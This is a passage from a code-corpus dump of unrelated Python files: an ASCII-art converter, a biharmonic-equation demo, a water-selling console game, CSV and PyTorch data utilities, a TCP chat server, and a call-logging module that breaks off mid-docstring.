range(HEIGHT):\n\t\t# 遍历该行的每一列\n\t\tfor j in range(WIDTH):\n\t\t\t# 将(j,i)坐标的RGB像素转为字符后添加到txt字符串\n\t\t\ttxt += get_char(*im.getpixel((j,i)))\n\t\t# 遍历完一行后需要增加换行符\n\t\ttxt += '\\n'\n\n\t# 输出到屏幕\n\tprint(txt)\n\n\t# 字符画输出到文件\n\tif OUTPUT:\n\t\twith open(OUTPUT,'w') as f:\n\t\t\tf.write(txt)\n\telse:\n\t\twith open(\"output.txt\",'w') as f:\n\t\t\tf.write(txt)\n","sub_path":"Python实现图片转字符画.py","file_name":"Python实现图片转字符画.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"379915118","text":"import json\n\n\ndef write_order_to_json(item, quantity, price, buyer, date):\n with open('orders.json', encoding='utf-8') as file:\n obj = json.load(file)\n dict_to_json = dict(товар=item, количество=quantity, цена=price, покупатель=buyer, дата=date)\n with open('orders.json', 'w', encoding='utf-8') as file:\n new_list = obj['orders']\n new_list.append(dict_to_json)\n obj['orders'] = new_list\n json.dump(obj, file, indent=4)\n\n\nwrite_order_to_json('стул', 77, 5500, 'Иванов Иван', '17-06-2020')\n# with open('orders.json', encoding='utf-8') as file:\n# obj = json.load(file)\n# for key, value in obj.items():\n# print(f'{key} : {value}')\n","sub_path":"lesson2/lesson2_task2.py","file_name":"lesson2_task2.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"359641723","text":"r\"\"\"\nSolve biharmonic equation in 1D\n\n u'''' + a*u'' + b*u = f,\n\nUse Shen's Biharmonic basis.\n\n\"\"\"\nimport sys\nimport os\nimport importlib\nfrom sympy import symbols, sin, lambdify\nimport numpy as np\nfrom shenfun import inner, Dx, TestFunction, TrialFunction, Basis, Array, \\\n Function\n\nassert len(sys.argv) == 3\nassert sys.argv[-1].lower() in ('legendre', 'chebyshev')\nassert isinstance(int(sys.argv[-2]), int)\n\n# Collect basis and solver from either Chebyshev or Legendre submodules\nfamily = sys.argv[-1]\nbase = importlib.import_module('.'.join(('shenfun', family)))\nSolver = base.la.Biharmonic\n\n# Use sympy to compute a rhs, given an analytical solution\n# Allow for a non-standard domain. Reference domain is (-1, 1)\ndomain = (-2., 1.)\nd = 2./(domain[1]-domain[0])\nx = symbols(\"x\")\nx_mapped = -1+(x-domain[0])*d\n# Manufactured solution that satisfies (u(\\pm 1) = u'(\\pm 1) = 0)\nue = sin(4*np.pi*x_mapped)*(x-domain[0])*(x-domain[1])\n\n# Use coefficients typical for Navier-Stokes solver for channel (https://github.com/spectralDNS/spectralDNS/blob/master/spectralDNS/solvers/KMM.py)\nk = 8\nnu = 1./590.\ndt = 5e-5\nc = -(k**2+nu*dt/2*k**4)\nb = 1.0+nu*dt*k**2\na = -nu*dt/2.\nfe = a*ue.diff(x, 4) + b*ue.diff(x, 2) + c*ue\n\n# Lambdify for faster evaluation\nul = lambdify(x, ue, 'numpy')\nfl = lambdify(x, fe, 'numpy')\n\n# Size of discretization\nN = int(sys.argv[-2])\n\nSD = Basis(N, family=family, bc='Biharmonic', domain=domain)\nX = SD.mesh()\nu = TrialFunction(SD)\nv = TestFunction(SD)\n\n# Get f on quad points\nfj = Array(SD, buffer=fl(X))\n\n# Compute right hand side of biharmonic equation\nf_hat = inner(v, fj)\n\n# Get left hand side of biharmonic equation (no integration by parts)\nS = inner(v, a*Dx(u, 0, 4))\nA = inner(v, b*Dx(u, 0, 2))\nB = inner(v, c*u)\n\n# Create linear algebra solver\nH = Solver(S, A, B)\n\n# Solve and transform to real space\nu_hat = Function(SD) # Solution spectral space\nu_hat = H(u_hat, f_hat) # Solve\nu = Array(SD)\nu = SD.backward(u_hat, u)\nuh = u.forward()\n\n# Compare with analytical solution\nuj = ul(X)\nprint(\"Error=%2.16e\" %(np.linalg.norm(uj-u)))\nassert np.allclose(uj, u)\npoint = np.array([0.1, 0.2])\np = u_hat.eval(point)\nassert np.allclose(p, ul(point))\n\nif 'pytest' not in os.environ:\n import matplotlib.pyplot as plt\n plt.figure()\n plt.plot(X, u)\n\n plt.figure()\n plt.plot(X, uj)\n\n plt.figure()\n plt.plot(X, u-uj)\n plt.title('Error')\n plt.show()\n","sub_path":"demo/biharmonic1D.py","file_name":"biharmonic1D.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"92100854","text":"#!/usr/bin/env python3\n\n# Water Tycoon - Sell water, make profit, become a Water Tycoon!\n\n# Copyright (C) 2014 Marco Scannadinari \n\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nfrom random import randint as rnd\nfrom time import sleep\n\nWTR_RAIN = \"raining\"\nWTR_SNOW = \"snowing\"\nWTR_NORMAL = \"normal\"\nWTR_SUN = \"sunny\"\n\nTMP_FREEZING = \"freezing\"\nTMP_COLD = \"cold\"\nTMP_NORMAL = \"normal\"\nTMP_WARM = \"warm\"\nTMP_HOT = \"hot\"\nTMP_BOILING = \"boiling\"\n\nDEFAULT_MONEY = 10.0\nDEFAULT_BOTTLES = 12\nDEFAULT_BOTTLE_PRICE = 0.5\n\nWAREHOUSE_N_BOTTLES = 16\nWAREHOUSE_BOTTLE_PRICE = 2.0\n\nPOPULATION = 20\n\ndef calc_prob(price, weather, temp):\n\tN_TESTS = 3\n\n\tassert price >= 0\n\n\tif(price <= 0.05):\n\t\ttotal = 0.95\n\telif(price >= 0.06 and price <= 0.1):\n\t\ttotal = 0.9\n\telif(price >= 0.11 and price <= 0.15):\n\t\ttotal = 0.85\n\telif(price >= 0.16 and price <= 0.2):\n\t\ttotal = 0.8\n\telif(price >= 0.21 and price <= 0.25):\n\t\ttotal = 0.75\n\telif(price >= 0.26 and price <= 0.3):\n\t\ttotal = 0.7\n\telif(price >= 0.31 and price <= 0.35):\n\t\ttotal = 0.65\n\telif(price >= 0.36 and price <= 0.4):\n\t\ttotal = 0.6\n\telif(price >= 0.41 and price <= 0.45):\n\t\ttotal = 0.55\n\telif(price >= 0.46 and price <= 0.5):\n\t\ttotal = 0.5\n\telif(price >= 0.51 and price <= 0.55):\n\t\ttotal = 0.45\n\telif(price >= 0.56 and price <= 0.6):\n\t\ttotal = 0.4\n\telif(price >= 0.61 and price <= 0.65):\n\t\ttotal = 0.35\n\telif(price >= 0.66 and price <= 0.7):\n\t\ttotal = 0.3\n\telif(price >= 0.71 and price <= 0.75):\n\t\ttotal = 0.25\n\telif(price >= 0.76 and price <= 0.8):\n\t\ttotal = 0.2\n\telif(price >= 0.81 and price <= 0.85):\n\t\ttotal = 0.15\n\telif(price >= 0.86 and price <= 0.9):\n\t\ttotal = 0.1\n\telif(price >= 0.91 and price <= 0.95):\n\t\ttotal = 0.05\n\telif(price >= 0.96 and price <= 1):\n\t\ttotal = 0\n\telse:\n\t\ttotal = -1\n\n\tif(temp == WTR_RAIN):\n\t\ttotal += 0.1\n\telif(weather == WTR_SNOW):\n\t\ttotal += 0.2\n\telif(weather == WTR_NORMAL):\n\t\ttotal += 0.5\n\telse:\n\t\ttotal += 0.8\n\n\tif(temp == TMP_FREEZING):\n\t\ttotal += 0.1\n\telif(temp == TMP_COLD):\n\t\ttotal += 0.2\n\telif(temp == TMP_NORMAL):\n\t\ttotal += 0.5\n\telif(temp == TMP_WARM):\n\t\ttotal += 0.7\n\telif(temp == TMP_HOT):\n\t\ttotal += 0.8\n\telse:\n\t\ttotal += 1\n\n\treturn (total / N_TESTS)\n\ndef cls():\n\tprint(\"\\n\" * 255)\n\ndef main():\n\tadjust_price = \"n\"\n\tbottles = 0\n\tbottles_sold = 0\n\tprofit = 0.0\n\trevenue = 0.0\n\texpenditure = 0.0\n\tmoney = DEFAULT_MONEY\n\ttemp = TMP_NORMAL\n\tweather = WTR_NORMAL\n\texit = False\n\n\tprint(\"Welcome to Water Tycoon!\\n\")\n\n\tbottles = input(\"Bottles of water to start with (default \" + str(DEFAULT_BOTTLES) + \"): \")\n\tbottle_price = input(\"Bottle price (default £\" + str(DEFAULT_BOTTLE_PRICE) + \"): \")\n\n\tif(bottles == \"\"):\n\t\tbottles = int(DEFAULT_BOTTLES)\n\n\tif(bottle_price == \"\"):\n\t\tbottle_price = float(DEFAULT_BOTTLE_PRICE)\n\n\tbottles = int(bottles)\n\tbottle_price = round(float(bottle_price), 2)\n\n\tprint(\"\\nBottles: \" + str(bottles))\n\tprint(\"Bottle price: £\" + str(bottle_price) + \"\\n\")\n\n\tinput(\"Press enter...\")\n\n\tday = 1\n\n\twhile True:\n\t\tcont = False\n\n\t\trnd_weather = rnd(1, 4)\n\n\t\tif(rnd_weather == 1):\n\t\t\tweather = WTR_NORMAL\n\t\telif(rnd_weather == 2):\n\t\t\tweather = WTR_SUN\n\t\telif(rnd_weather == 3):\n\t\t\tweather = WTR_RAIN\n\t\telif(rnd_weather == 4):\n\t\t\tweather = WTR_SNOW\n\n\t\trnd_temp = rnd(1, 6)\n\n\t\tif(rnd_temp == 1):\n\t\t\ttemp = TMP_FREEZING\n\t\telif(rnd_temp == 2):\n\t\t\ttemp = TMP_COLD\n\t\telif(rnd_temp == 3):\n\t\t\ttemp = TMP_NORMAL\n\t\telif(rnd_temp == 4):\n\t\t\ttemp = TMP_WARM\n\t\telif(rnd_temp == 5):\n\t\t\ttemp = TMP_HOT\n\t\telif(rnd_temp == 6):\n\t\t\ttemp = TMP_BOILING\n\n\t\twhile cont == False:\n\t\t\tcls()\n\n\t\t\tprofit = round((revenue - expenditure), 2)\n\n\t\t\tprint(\"DAY \" + str(day) + \"\\n\")\n\n\t\t\tprint(\"Weather: \" + weather)\n\t\t\tprint(\"Temp: \" + temp + \"\\n\")\n\t\t\tprint(\"Revenue: £\" + str(revenue))\n\t\t\tprint(\"Expenditure: £\" + str(expenditure))\n\t\t\tprint(\"Profit: £\" + str(profit))\n\t\t\tprint(\"Money: £\" + str(money) + \"\\n\")\n\t\t\tprint(\"Bottles: \" + (\"OUT OF STOCK!\" if (bottles == 0) else str(bottles)))\n\t\t\tprint(\"Bottle price: £\" + str(bottle_price) + \"\\n\")\n\n\t\t\tprint(\" 'p' - adjust bottle price\")\n\t\t\tprint(\" 'b' - buy bottles\")\n\t\t\tprint(\" 'x' - quit\")\n\t\t\tprint(\" 's' - start selling (default)\\n\")\n\n\t\t\toption = input(\"> \")\n\n\t\t\tif(option == \"p\"):\n\t\t\t\tvalid = False\n\n\t\t\t\twhile not valid:\n\t\t\t\t\tnew_bottle_price = input(\"\\nNew price (POUNDS.PENCE): £\")\n\n\t\t\t\t\tvalid = True\n\t\t\t\t\t\n\t\t\t\t\ttry:\n\t\t\t\t\t\tbottle_price = float(new_bottle_price)\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tvalid = False\n\t\t\t\t\t\tprint(\"\\nThat's not a number...\")\n\t\t\t\t\t\tsleep(1)\n\t\t\t\t\t\tcls()\n\t\t\t\t\t\t\n\t\t\telif(option == \"b\"):\n\t\t\t\tvalid = False\n\n\t\t\t\twhile not valid:\n\t\t\t\t\tprint(\"\\nPrice for \" + str(WAREHOUSE_N_BOTTLES) + \" bottles is £\" + str(WAREHOUSE_BOTTLE_PRICE))\n\t\t\t\t\tprint(\"Amount to buy (you can afford \" + str(int(money / WAREHOUSE_BOTTLE_PRICE)) + \"): \", end=\"\")\n\n\t\t\t\t\tvalid = True\n\n\t\t\t\t\ttry:\n\t\t\t\t\t\tnew_bottles = float(input(\"\"))\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tvalid = False\n\t\t\t\t\t\tprint(\"\\nThat's not a number...\")\n\t\t\t\t\t\tsleep(1)\n\n\t\t\t\t\tif(valid):\n\t\t\t\t\t\tbottles += new_bottles * WAREHOUSE_N_BOTTLES\n\t\t\t\t\t\tmoney -= WAREHOUSE_BOTTLE_PRICE * new_bottles\n\t\t\t\t\t\texpenditure += WAREHOUSE_BOTTLE_PRICE * new_bottles\n\n\t\t\telif(option == \"x\"):\n\t\t\t\texit = True\n\t\t\t\tbreak\n\n\t\t\telif(option == \"s\"):\n\t\t\t\tcont = True\n\n\t\t\telse: # 's' is default\n\t\t\t\tcont = True\n\n\t\tif(exit == True):\n\t\t\tbreak\n\n\t\tcls()\n\n\t\tbuy_prob = calc_prob(bottle_price, weather, temp)\n\n\t\tif(POPULATION * buy_prob > bottles):\n\t\t\tif(bottles == 0):\n\t\t\t\tprint(\"You didn't sell any bottles because you are out of stock!\\n\")\n\t\t\telse:\n\t\t\t\tprint(\"You sold \" + str(int(bottles)) + \" bottles, but you don't have any more!\\n\")\n\n\t\t\tbottles_sold += bottles\n\t\t\trevenue += bottles * bottle_price\n\t\t\tmoney += bottles * bottle_price\n\t\t\tbottles -= bottles\n\t\telse:\n\t\t\tif(buy_prob <= 0):\n\t\t\t\tprint(\"You didn't sell any bottles...\\n\")\n\t\t\telse:\n\t\t\t\tprint(\"You sold \" + str(int(POPULATION * buy_prob)) + \" bottles!\\n\")\n\n\t\t\tbottles_sold += int(POPULATION * buy_prob)\n\t\t\trevenue += int(POPULATION * buy_prob) * bottle_price\n\t\t\tmoney += int(POPULATION * buy_prob) * bottle_price\n\t\t\tbottles -= int(POPULATION * buy_prob)\n\n\t\tinput(\"Press enter to continue...\")\n\n\t\trevenue = round(revenue, 2)\n\t\tmoney = round(money, 2)\n\n\t\tday += 1\n\n\tcls()\n\n\tprint(\"SUMMARY\\n\")\n\tprint(\"Bottles sold: \" + str(bottles_sold) + \"\\n\")\n\tprint(\"Revenue: £\" + str(revenue))\n\tprint(\"Expediture: - £\" + str(expenditure))\n\tprint(\" \", end=\"\")\n\n\tprint(\"-\" * (len(str(max(revenue, expenditure, profit))) + 1))\n\n\tprint(\"Profit: £\" + str(profit))\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"water-tycoon.py","file_name":"water-tycoon.py","file_ext":"py","file_size_in_byte":7107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"33816893","text":"#!/usr/bin/env python\n\n\"\"\"Methods for csv database management.\"\"\"\n\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\nj = os.path.join\n\nclass factors(object):\n \"\"\"Create a collection of csv files to manage factors related to elements of a study.\n Attributes:\n groups : name of a csv to be created or read containing a heirarchical table of factors relating to an element.\n \n \"\"\"\n def __init__(self, directory, elements = \"elements\", groups = \"groups\", factors = \"factors\"):\n \"\"\"Create csv files if they do not exist\"\"\"\n d = directory\n if not os.path.isdir(d):\n os.makedirs(d)\n epath = j(d, elements + '.csv')\n gpath = j(d, groups + '.csv')\n fpath = j(d, factors + '.csv')\n self.create_csv(epath, self.elements())\n self.create_csv(gpath, self.elements())\n self.create_csv(fpath, self.elements())\n self.e = self.csv2df(epath)\n self.g = self.csv2df(gpath)\n self.f = self.csv2df(fpath)\n f2g = self.f2g()\n self.dic = self.e2f(f2g)\n \n def create_csv(self, path, header):\n \"\"\"\"\"\"\n if not os.path.isfile(path):\n f = open(path, 'w')\n f.write(','.join(header))\n f.close()\n \n def csv2df(self, path):\n \"\"\"Convert a csv to a pandas dataframe\"\"\"\n df = pd.read_csv(path, index_col = None)\n return(df)\n \n def elements(self):\n \"\"\"Return a list of fields for the elements csv\"\"\"\n lst = ['id', 'element']\n return(lst)\n \n def groups(self):\n \"\"\"Return a list of fields for the groups csv\"\"\"\n lst = ['group', 'level', 'factor', 'group_note']\n return(lst)\n \n def factors(self):\n \"\"\"Return a list of fields for the factors csv\"\"\"\n lst = ['element_id', 'group', 'level', 'value', 'factor_note']\n return(lst)\n \n def f2g(self):\n \"\"\"Join factors to groups\"\"\"\n g = self.g\n f = self.f\n df = f.merge(g, how = 'inner', on = ['group', 'level'], suffixes = ('', '.a'))\n return(df)\n \n def e2f(self, df):\n \"\"\"Return a dictionary of pivoted factor tables joined to elements\"\"\"\n dic = {}\n e = self.e\n f = self.f\n for g in list(set(f['group'])):\n group = df[df['group'] == g].pivot(index = 'element', columns = 'factor', values = 'value')\n join = e.merge(group, how = 'inner', left_on = 'id', right_index = True, suffixes = ('', '.a'))\n dic[g] = join\n return(dic)\n","sub_path":"csv.py","file_name":"csv.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"617715256","text":"#-*- coding: utf-8 -*-\n#!/usr/bin/env/ python\n\nimport torch\n\n\nclass Instances(object):\n def __init__(self, shard_base_path):\n self._number_of_shards = 0\n self._number_of_instances = 0\n self._instances_buffer = []\n self._shard_base_path = shard_base_path\n self._load()\n\n @property\n def exists(self):\n if self._number_of_instances:\n return True\n return False\n\n def _load(self):\n current_shard_path = self._shard_base_path+'-'+str(self._number_of_shards)\n while os.path.isfile(current_shard_path):\n self._instances_buffer = torch.load(current_shard_path)\n self._number_of_shards += 1\n self._number_of_instances += len(self._instances_buffer)\n\n def add(self, instance):\n self._instances_buffer.append(instance)\n self._number_of_instances += 1\n buffer_size = self._instances_buffer.__sizeof__()\n if buffer_size <= CONSTANT.MAX_SHARD_SIZE:\n return\n elif buffer_size > CONSTANT.MAX_SHARD_SIZE:\n self._instances_buffer.pop()\n self._save()\n self._instances_buffer.append(instance)\n\n def _save(self):\n if len(self._instances_buffer):\n torch.save(self._instances_buffer, self._shard_base_path+'-'+str(self._number_of_shards))\n self._number_of_shard += 1\n self._instances_buffer.clear()\n\n def finish_build(self):\n self._save()\n\n def __iter__(self):\n self._instance_index = 0\n self._shard_index = 0\n self._instances_buffer_index = 0\n return self\n\n def __next__(self):\n if self._instance_index < self._number_of_instances:\n if self._instances_buffer_index == len(self._instances_buffer):\n self._instances_buffer_index = 0\n self._instances_buffer = torch.load(self._shard_base_path+'-'+str(self._shard_index))\n self._shard_index += 1\n\n result = self._instances_buffer[self._instances_buffer_index]\n self._instance_index += 1\n self._instances_buffer_index += 1\n return result\n else:\n raise StopIteration\n\n\nclass Data(object):\n def __init__(self):\n pass\n\n\nclass TrainingData(Data):\n def __init__(self, src_vocabulary, tgt_vocabulary, directory, corpus_name, source_language, target_language, sentence_max_length):\n super(TrainingData, self).__init__()\n self._source_path = os.path.join(directory, '{}_{}.train'.format(corpus_name, source_language))\n self._target_path = os.path.join(directory, '{}_{}.train'.format(corpus_name, target_language))\n self._path = os.path.join(directory, '{}_{}-{}.packaged_train'.format(corpus_name, source_language, target_language))\n\n self._instances = Instances(self._path)\n\n if not self._instances.exists:\n self._packaging_data(src_vocabulary, tgt_vocabulary, sentence_max_length)\n\n def _packaging_data(self, src_vocabulary, tgt_vocabulary, sentence_max_length):\n with codecs.open(self._source_path, 'r', encoding='utf-8') as src_file, codecs.open(self._target_path, 'r', encoding='utf-8') as tgt_file:\n for (src_line, tgt_line) in zip(src_file, tgt_file):\n src_line = src_line.strip()\n tgt_line = tgt_line.strip()\n if src_line == '' or tgt_line == '':\n continue\n src_indices = [src_vocabulary.i2i.index(item) for item in src_line]\n tgt_indices = [tgt_vocabulary.i2i.index(item) for item in tgt_line]\n if len(src_indices) > sentence_max_length or len(tgt_indices) > sentence_max_length:\n continue\n src_tensor = torch.Tensor(src_indices)\n tgt_tensor = torch.Tensor(tgt_indices)\n instance = (src_tensor, tgt_tensor)\n self._instances.add(instance)\n self._instances.finish_build()\n\n\nclass ValidationData(Data):\n def __init__(self, src_vocabulary, tgt_vocabulary, directory, corpus_name, source_language, target_language):\n super(ValidationData, self).__init__()\n self._source_path = os.path.join(directory, '{}_{}.valid'.format(corpus_name, source_language))\n self._target_path = os.path.join(directory, '{}_{}.valid'.format(corpus_name, target_language))\n self._path = os.path.join(directory, '{}_{}-{}.packaged_valid'.format(corpus_name, source_language, target_language))\n\n self._instances = Instances(self._path)\n\n if not self._instances.exists:\n self._packaging_data(src_vocabulary, tgt_vocabulary)\n\n def _packaging_data(self, src_vocabulary, tgt_vocabulary):\n with codecs.open(self._source_path, 'r', encoding='utf-8') as src_file, codecs.open(self._target_path, 'r', encoding='utf-8') as tgt_file:\n for (src_line, tgt_line) in zip(src_file, tgt_file):\n src_line = src_line.strip()\n tgt_line = tgt_line.strip()\n if src_line == '' or tgt_line == '':\n continue\n src_indices = [src_vocabulary.i2i.index(item) for item in src_line]\n tgt_indices = [tgt_vocabulary.i2i.index(item) for item in tgt_line]\n src_tensor = torch.Tensor(src_indices)\n tgt_tensor = torch.Tensor(tgt_indices)\n instance = (src_tensor, tgt_tensor)\n self._instances.add(instance)\n\n\nclass TestingData(Data):\n def __init__(self, src_vocabulary, directory, corpus_name, source_language, target_language):\n super(TestingData, self).__init__()\n self._source_path = os.path.join(directory, '{}_{}.test'.format(corpus_name, source_language))\n self._path = os.path.join(directory, '{}_{}-{}.packaged_test'.format(corpus_name, source_language, target_language))\n\n self._instances = Instances(self._path)\n\n if not self._instances.exists:\n self._packaging_data(src_vocabulary, tgt_vocabulary)\n\n def _packaging_data(self, src_vocabulary, tgt_vocabulary):\n with codecs.open(self._source_path, 'r', encoding='utf-8') as src_file:\n for src_line in src_file:\n src_line = src_line.strip()\n if src_line == '':\n continue\n src_indices = [src_vocabulary.i2i.index(item) for item in src_line]\n src_tensor = torch.Tensor(src_indices)\n instance = src_tensor\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"nmt_pems/system/utilities/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":6546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"270659654","text":"from socket import *\nfrom select import select\nfrom threading import Thread\nimport sys, threading, time\n\n# CONFIG: Change these to whatever necessary\nBINDING_ADDRESS = '0.0.0.0'\nBINDING_PORT = 12000\nMSG_BUFFER_SIZE = 1024\nNAME_BUFFER_SIZE = 32\n\n# MESSAGE FORMATS: Change these to suit a flavor of console.\n# Technically speaking, these also effect clients.\n# (Clients do not print their own message - they wait for the server to respond with it)\nNEW_CONNECTION_STR_FMT = \"[.] Accepted new connection from {}.\"\nNEW_USER_FIRST_STR_FMT = \"[!] {} has joined\"\nNEW_USER_NOT_FIRST_STR_FMT = \"[!] {} has joined (First user was {})\"\nNEW_MSG_STR_FMT = \"[.] {}: {}\"\nDISCONNECTED_STR_FMT = \"[!] {} has disconnected.\"\nCLOSING_STR_FMT = \"[!] Server is closing.\"\n\nclass ChatServer:\n\tdef __init__(self):\n\t\t'''\n\t\tConstructs a new ChatServer instance.\n\t\tNote: The server is _not_ listening. You must call startHosting(hostname, port).\n\t\t'''\n\t\tself.host_socket = None\n\t\tself.connected = {}\n\t\tself.first = None\n\t\n\tdef startHosting(self, hostname, port):\n\t\t'''\n\t\tCreates a TCP socket and binds it to the given hostname and port.\n\t\t'''\n\t\tself.host_socket = socket(AF_INET, SOCK_STREAM)\n\t\tself.host_socket.bind((BINDING_ADDRESS, BINDING_PORT))\n\t\tself.host_socket.listen(1)\n\t\t\n\tdef acceptNewUser(self):\n\t\t'''\n\t\tAccepts and stores any new connections, waiting for their names.\n\t\t'''\n\t\tnew_client, addr = self.host_socket.accept()\n\t\tself.connected[new_client] = None\n\t\tprint(NEW_CONNECTION_STR_FMT.format(addr))\n\t\t\n\tdef removeDeadSocket(self, socket):\n\t\t'''\n\t\tRemoves any socket from the name mapping.\n\t\tAssumes the socket is dead and will notify users of their disconnection.\n\t\t'''\n\t\tname = self.connected[socket]\n\t\tself.connected.pop(socket)\n\t\tif name != None:\n\t\t\tself.broadcastMessage(DISCONNECTED_STR_FMT, name)\n\t\t\n\tdef writeData(self, socket, data):\n\t\t'''\n\t\tAttempts to write data to the socket, removing it if dead\n\t\t'''\n\t\ttry:\n\t\t\tsocket.send(data)\n\t\texcept ConnectionResetError:\n\t\t\tself.removeDeadSocket(socket)\n\t\t\t\n\tdef readData(self, socket, buffer_size):\n\t\t'''\n\t\tAttempts to read string data from a socket, removing it if dead.\n\t\t'''\n\t\ttry:\n\t\t\tdata = socket.recv(buffer_size)\n\t\t\t\n\t\t\tif len(data) == 0:\n\t\t\t\tself.removeDeadSocket(socket)\n\t\t\t\treturn None\n\t\t\t\t\n\t\t\treturn data.decode()\n\t\texcept ConnectionResetError:\n\t\t\tself.removeDeadSocket(socket)\n\t\t\treturn None\n\t\t\n\tdef broadcastMessage(self, fmt, *args):\n\t\t'''\n\t\tBroadcasts a message to all clients and prints to console.\n\t\t'''\n\t\tmsg = fmt.format(*args)\n\t\tprint(msg)\n\t\tfor socket in self.connected.keys():\n\t\t\tself.writeData(socket, msg.encode())\n\t\t\n\tdef tick(self):\n\t\t'''\n\t\tMain server ticking method.\n\t\tWould have been single threaded, but alas, Windows select() does _not_ handle sys.stdin.\n\t\tTherefore, it is necessary to spin this in a different thread, as select() _will_ lock\n\t\tthe process up until some socket event happens.\n\t\t'''\n\t\tactive_sockets, _, _ = select([self.host_socket] + list(self.connected.keys()), [], [])\n\t\t\n\t\tfor socket in active_sockets:\n\t\t\tif socket == self.host_socket:\n\t\t\t\tself.acceptNewUser()\n\t\t\telse:\n\t\t\t\tif socket not in self.connected:\n\t\t\t\t\tprint(\"[?] Unknown socket\")\n\t\t\t\t\tprint(socket)\n\t\t\t\tif self.connected[socket] == None:\n\t\t\t\t\tname = self.readData(socket, NAME_BUFFER_SIZE)\n\t\t\t\t\tif name is not None:\n\t\t\t\t\t\tself.connected[socket] = name\n\t\t\t\t\t\tif self.first == None:\n\t\t\t\t\t\t\tself.first = name\n\t\t\t\t\t\t\tself.broadcastMessage(NEW_USER_FIRST_STR_FMT, name)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.broadcastMessage(NEW_USER_NOT_FIRST_STR_FMT, name, self.first)\n\t\t\t\telse:\n\t\t\t\t\tmessage = self.readData(socket, MSG_BUFFER_SIZE)\n\t\t\t\t\tif message is not None:\n\t\t\t\t\t\tself.broadcastMessage(NEW_MSG_STR_FMT, self.connected[socket], message)\n\t\n\tdef close(self):\n\t\t'''\n\t\tDoes what it says on the tin - closes the server.\n\t\t'''\n\t\tself.broadcastMessage(CLOSING_STR_FMT)\n\t\tself.host_socket.close()\n\n# dummy method because python doesn't support\n# multi-line lambdas\ndef thread_loop(server):\n\twhile True:\n\t\tserver.tick()\n\nif __name__ == \"__main__\":\n\t# start server and begin listening\n\tserver = ChatServer()\n\tserver.startHosting(BINDING_ADDRESS, BINDING_PORT)\n\t\n\t# spin server ticks on a seperate thread to let main thread process ctrl+c\n\t# and user input\n\tserver_thread = Thread(target=thread_loop, args=(server,))\n\tserver_thread.daemon = True\n\tserver_thread.start()\n\t\n\twhile True:\n\t\ttry:\n\t\t\tserver_input = input()\n\t\t\tif server_input.lower() == \"bye\":\n\t\t\t\t# bad hack, but don't want to repeat self\n\t\t\t\t# tl;dr just interpret \"bye\" as ctrl+c\n\t\t\t\traise KeyboardInterrupt\n\t\texcept KeyboardInterrupt:\n\t\t\tserver.close()\n\t\t\tsys.exit(0)","sub_path":"tcp/TCPServer.py","file_name":"TCPServer.py","file_ext":"py","file_size_in_byte":4560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"425893361","text":"# Copyright (c) 2019 Mark Moss\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\"\"\"\nProvides classes to log calls and their arguments.\n\"\"\"\nimport time\n\n\nclass LogEntry:\n \"\"\"\n Contains logged information from one call.\n \"\"\"\n def __init__(self, obj, arg_dict):\n self.time = time.time()\n self.object = obj\n self.arg_dict = arg_dict\n\n def after(self, other):\n \"\"\"\n Return's True if this instance's time attribute is greater than other's\n time attribute.\n \"\"\"\n return self.time < other.time\n\n def before(self, other):\n \"\"\"\n Return's True if this instance's time attribute is less than other's\n time attribute.\n \"\"\"\n return self.time < other.time\n\n def match(self, obj, arg_dict):\n \"\"\"\n Returns True if each argument in arg_dict is equal to an identically\n named argument in the arg_dict parameter to this instances constructor.\n Otherwise, returns false.\n \"\"\"\n # Start by testing the objects for identity.\n match = (obj is self.object)\n # If objects are identical, check whether all arguments in arg_dict\n # match this entry.\n if match:\n for arg in arg_dict:\n if (arg in self.arg_dict\n and arg_dict[arg] == self.arg_dict[arg]):\n continue\n else:\n match = False\n break\n return match\n\n\nclass Log:\n \"\"\"\n Allows callables to log their identity and parameters, and provided helper\n methods used to verify the sequence and contents of such 